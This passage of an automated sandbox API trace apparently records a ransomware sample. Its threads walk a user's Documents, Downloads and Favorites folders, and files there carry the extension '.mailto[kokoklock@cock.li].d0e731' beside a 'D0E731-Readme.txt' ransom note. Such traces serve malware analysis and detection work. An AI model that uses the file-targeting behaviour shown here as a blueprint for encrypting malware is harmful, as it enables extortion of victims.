dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe4c78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x390 [0168.901] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x847a8340, ftCreationTime.dwHighDateTime=0x1d4d4ce, ftLastAccessTime.dwLowDateTime=0x847ce27e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x847ce27e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sUNAQgk8PGby", cAlternateFileName="SUNAQG~1")) returned 1 [0168.901] wcscmp (_String1="sUNAQgk8PGby", _String2=".") returned 1 [0168.901] wcscmp (_String1="sUNAQgk8PGby", _String2="..") returned 1 [0168.901] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4e) returned 0x2f88cb8 [0168.901] wcscpy (in: _Dest=0x2f88cb8, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0168.901] wcscat (in: _Dest=0x2f88cb8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0168.901] wcscat (in: _Dest=0x2f88cb8, _Source="sUNAQgk8PGby" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby" [0168.901] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f88cb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x38c [0168.902] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd811790, ftCreationTime.dwHighDateTime=0x1d52590, ftLastAccessTime.dwLowDateTime=0x6c652230, ftLastAccessTime.dwHighDateTime=0x1d5257b, ftLastWriteTime.dwLowDateTime=0x832f1b96, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x12f31, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ui4vXJZP38C.pptx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UI4VXJ~1.D0E")) returned 1 [0168.902] wcscmp (_String1="ui4vXJZP38C.pptx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.902] wcscmp (_String1="ui4vXJZP38C.pptx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.902] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x98) returned 0x2fe3180 [0168.902] wcscpy (in: _Dest=0x2fe3180, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0168.902] wcscat (in: _Dest=0x2fe3180, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0168.902] wcscat (in: _Dest=0x2fe3180, _Source="ui4vXJZP38C.pptx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\ui4vXJZP38C.pptx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\ui4vXJZP38C.pptx.mailto[kokoklock@cock.li].d0e731" [0168.902] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe3180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x388 [0168.903] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96589010, ftCreationTime.dwHighDateTime=0x1d4c665, ftLastAccessTime.dwLowDateTime=0x96c1b3b0, ftLastAccessTime.dwHighDateTime=0x1d4ce1c, ftLastWriteTime.dwLowDateTime=0x83344760, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x8670, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UucwU.pps.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UUCWUP~1.D0E")) returned 1 [0168.903] wcscmp (_String1="UucwU.pps.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.903] wcscmp (_String1="UucwU.pps.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.903] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2fe4e40 [0168.903] wcscpy (in: _Dest=0x2fe4e40, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0168.903] wcscat (in: _Dest=0x2fe4e40, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0168.903] wcscat (in: _Dest=0x2fe4e40, _Source="UucwU.pps.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\UucwU.pps.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\UucwU.pps.mailto[kokoklock@cock.li].d0e731" [0168.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe4e40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x384 [0168.904] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69074be0, ftCreationTime.dwHighDateTime=0x1d4d1a2, ftLastAccessTime.dwLowDateTime=0x3be84540, ftLastAccessTime.dwHighDateTime=0x1d4c678, ftLastWriteTime.dwLowDateTime=0x83364085, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x14b9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wapGA.ods.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="WAPGAO~1.D0E")) returned 1 [0168.904] wcscmp (_String1="wapGA.ods.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.904] wcscmp (_String1="wapGA.ods.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.904] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2fd00a8 [0168.904] wcscpy (in: _Dest=0x2fd00a8, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0168.904] wcscat (in: _Dest=0x2fd00a8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0168.904] wcscat (in: _Dest=0x2fd00a8, _Source="wapGA.ods.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\wapGA.ods.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\wapGA.ods.mailto[kokoklock@cock.li].d0e731" [0168.904] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fd00a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x380 [0168.905] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x382618d0, ftCreationTime.dwHighDateTime=0x1d51cca, ftLastAccessTime.dwLowDateTime=0x26356b30, ftLastAccessTime.dwHighDateTime=0x1d5460a, ftLastWriteTime.dwLowDateTime=0x8338a353, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1681e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x28CJ0j.docx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="X28CJ0~1.D0E")) returned 1 [0168.905] wcscmp (_String1="x28CJ0j.docx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.905] wcscmp (_String1="x28CJ0j.docx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.905] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x90) returned 0x2fcf008 [0168.905] wcscpy (in: _Dest=0x2fcf008, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0168.905] wcscat (in: _Dest=0x2fcf008, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0168.905] wcscat (in: _Dest=0x2fcf008, _Source="x28CJ0j.docx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\x28CJ0j.docx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\x28CJ0j.docx.mailto[kokoklock@cock.li].d0e731" [0168.905] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fcf008, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x360 [0168.906] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd18360, ftCreationTime.dwHighDateTime=0x1d54361, ftLastAccessTime.dwLowDateTime=0xd3987fe0, ftLastAccessTime.dwHighDateTime=0x1d53a27, ftLastWriteTime.dwLowDateTime=0x833b053a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x5eba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ysZgVumn.xlsx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="YSZGVU~1.D0E")) returned 1 [0168.906] wcscmp (_String1="ysZgVumn.xlsx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.906] wcscmp (_String1="ysZgVumn.xlsx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.906] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x92) returned 0x2fe3e00 [0168.906] wcscpy (in: _Dest=0x2fe3e00, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0168.906] wcscat (in: _Dest=0x2fe3e00, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0168.906] wcscat (in: _Dest=0x2fe3e00, _Source="ysZgVumn.xlsx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\ysZgVumn.xlsx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\ysZgVumn.xlsx.mailto[kokoklock@cock.li].d0e731" [0168.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe3e00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x348 [0168.907] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadaa6a80, ftCreationTime.dwHighDateTime=0x1d5393e, ftLastAccessTime.dwLowDateTime=0xcc405c50, ftLastAccessTime.dwHighDateTime=0x1d54b29, ftLastWriteTime.dwLowDateTime=0x833fd23d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x15dbd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zEEBhqjUg4xPBLH_sa.xlsx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="ZEEBHQ~1.D0E")) returned 1 [0168.907] wcscmp (_String1="zEEBhqjUg4xPBLH_sa.xlsx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.907] wcscmp (_String1="zEEBhqjUg4xPBLH_sa.xlsx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.907] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f91c90 [0168.907] wcscpy (in: _Dest=0x2f91c90, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0168.907] wcscat (in: _Dest=0x2f91c90, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0168.907] wcscat (in: _Dest=0x2f91c90, _Source="zEEBhqjUg4xPBLH_sa.xlsx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\zEEBhqjUg4xPBLH_sa.xlsx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\zEEBhqjUg4xPBLH_sa.xlsx.mailto[kokoklock@cock.li].d0e731" [0168.907] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f91c90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x354 [0168.908] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78217ff0, ftCreationTime.dwHighDateTime=0x1d4ca9b, ftLastAccessTime.dwLowDateTime=0x2da822c0, ftLastAccessTime.dwHighDateTime=0x1d4cf1a, ftLastWriteTime.dwLowDateTime=0x83422c5e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xd9ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zOWl_u2-Hl-SB4.pps.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="ZOWL_U~1.D0E")) returned 1 [0168.908] wcscmp (_String1="zOWl_u2-Hl-SB4.pps.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.908] wcscmp (_String1="zOWl_u2-Hl-SB4.pps.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.908] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2feeac8 [0168.908] wcscpy (in: _Dest=0x2feeac8, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0168.908] wcscat (in: _Dest=0x2feeac8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0168.908] wcscat (in: _Dest=0x2feeac8, _Source="zOWl_u2-Hl-SB4.pps.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\zOWl_u2-Hl-SB4.pps.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\zOWl_u2-Hl-SB4.pps.mailto[kokoklock@cock.li].d0e731" [0168.908] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2feeac8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x358 [0168.909] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78217ff0, ftCreationTime.dwHighDateTime=0x1d4ca9b, ftLastAccessTime.dwLowDateTime=0x2da822c0, ftLastAccessTime.dwHighDateTime=0x1d4cf1a, ftLastWriteTime.dwLowDateTime=0x83422c5e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xd9ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zOWl_u2-Hl-SB4.pps.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="ZOWL_U~1.D0E")) returned 0 [0168.909] FindClose (in: hFindFile=0x2f7fbe0 | out: hFindFile=0x2f7fbe0) returned 1 [0168.909] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1ea8) returned 1 [0168.909] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7fae0) returned 1 [0168.909] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80660) returned 1 [0168.909] RtlExitUserThread (Status=0x0) Thread: id = 1710 os_tid = 0xb9c [0168.590] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x38) returned 0x2f7fb20 [0168.590] wcscpy (in: _Dest=0x2f7fb20, _Source="C:\\Users\\FD1HVy\\Downloads" | out: _Dest="C:\\Users\\FD1HVy\\Downloads") returned="C:\\Users\\FD1HVy\\Downloads" [0168.590] wcscat (in: _Dest=0x2f7fb20, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Downloads\\") returned="C:\\Users\\FD1HVy\\Downloads\\" [0168.590] wcscat (in: _Dest=0x2f7fb20, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Downloads\\*") returned="C:\\Users\\FD1HVy\\Downloads\\*" [0168.591] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2110 [0168.591] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Downloads\\*", lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc19bd8f2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc19bd8f2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fc20 [0168.591] wcscmp (_String1=".", _String2=".") returned 0 [0168.591] FindNextFileW (in: hFindFile=0x2f7fc20, lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc19bd8f2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc19bd8f2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.591] wcscmp (_String1="..", _String2=".") returned 1 [0168.591] wcscmp (_String1="..", _String2="..") returned 0 [0168.591] FindNextFileW (in: hFindFile=0x2f7fc20, lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44137e3b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce3d633b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0168.591] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0168.591] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0168.591] FindNextFileW (in: hFindFile=0x2f7fc20, lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44137e3b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce3d633b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0168.591] FindClose (in: hFindFile=0x2f7fc20 | out: hFindFile=0x2f7fc20) returned 1 [0168.591] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2110) returned 1 [0168.591] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7fb20) returned 1 [0168.591] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80760) returned 1 [0168.591] RtlExitUserThread (Status=0x0) Thread: id = 1711 os_tid = 0x96c [0168.592] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x38) returned 0x2f80760 [0168.592] wcscpy (in: _Dest=0x2f80760, _Source="C:\\Users\\FD1HVy\\Favorites" | out: _Dest="C:\\Users\\FD1HVy\\Favorites") returned="C:\\Users\\FD1HVy\\Favorites" [0168.592] wcscat (in: _Dest=0x2f80760, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Favorites\\") returned="C:\\Users\\FD1HVy\\Favorites\\" [0168.592] wcscat (in: _Dest=0x2f80760, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Favorites\\*") returned="C:\\Users\\FD1HVy\\Favorites\\*" [0168.592] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2110 [0168.592] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Favorites\\*", lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x82f380eb, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82f380eb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fc20 [0168.594] wcscmp (_String1=".", _String2=".") returned 0 [0168.594] FindNextFileW (in: hFindFile=0x2f7fc20, lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x82f380eb, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82f380eb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.594] wcscmp (_String1="..", _String2=".") returned 1 [0168.594] wcscmp (_String1="..", _String2="..") returned 0 [0168.594] FindNextFileW (in: hFindFile=0x2f7fc20, lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43598c8e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43b9f870, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x82f380eb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bing.url.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0168.594] wcscmp (_String1="Bing.url.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.594] wcscmp (_String1="Bing.url.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.594] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x88) returned 0x2f82c58 [0168.594] wcscpy (in: _Dest=0x2f82c58, _Source="C:\\Users\\FD1HVy\\Favorites" | out: _Dest="C:\\Users\\FD1HVy\\Favorites") returned="C:\\Users\\FD1HVy\\Favorites" [0168.594] wcscat (in: _Dest=0x2f82c58, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Favorites\\") returned="C:\\Users\\FD1HVy\\Favorites\\" [0168.594] wcscat (in: _Dest=0x2f82c58, _Source="Bing.url.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Favorites\\Bing.url.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Favorites\\Bing.url.mailto[kokoklock@cock.li].d0e731" [0168.877] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f82c58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c0 [0168.878] FindNextFileW (in: hFindFile=0x2f7fc20, lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f380eb, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x82f380eb, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82f380eb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0168.878] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0168.878] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0168.878] FindNextFileW (in: hFindFile=0x2f7fc20, lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0168.878] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0168.878] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0168.878] FindNextFileW (in: hFindFile=0x2f7fc20, lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd449a79e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3be1eb23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0168.878] wcscmp (_String1="Links", _String2=".") returned 1 [0168.878] wcscmp (_String1="Links", _String2="..") returned 1 [0168.878] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0168.878] wcscpy (in: _Dest=0x2f87620, _Source="C:\\Users\\FD1HVy\\Favorites" | out: _Dest="C:\\Users\\FD1HVy\\Favorites") returned="C:\\Users\\FD1HVy\\Favorites" [0168.878] wcscat (in: _Dest=0x2f87620, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Favorites\\") returned="C:\\Users\\FD1HVy\\Favorites\\" [0168.878] wcscat (in: _Dest=0x2f87620, _Source="Links" | out: _Dest="C:\\Users\\FD1HVy\\Favorites\\Links") returned="C:\\Users\\FD1HVy\\Favorites\\Links" [0168.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e8 [0168.879] FindNextFileW (in: hFindFile=0x2f7fc20, lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd449a79e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3be1eb23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 0 [0168.879] FindClose (in: 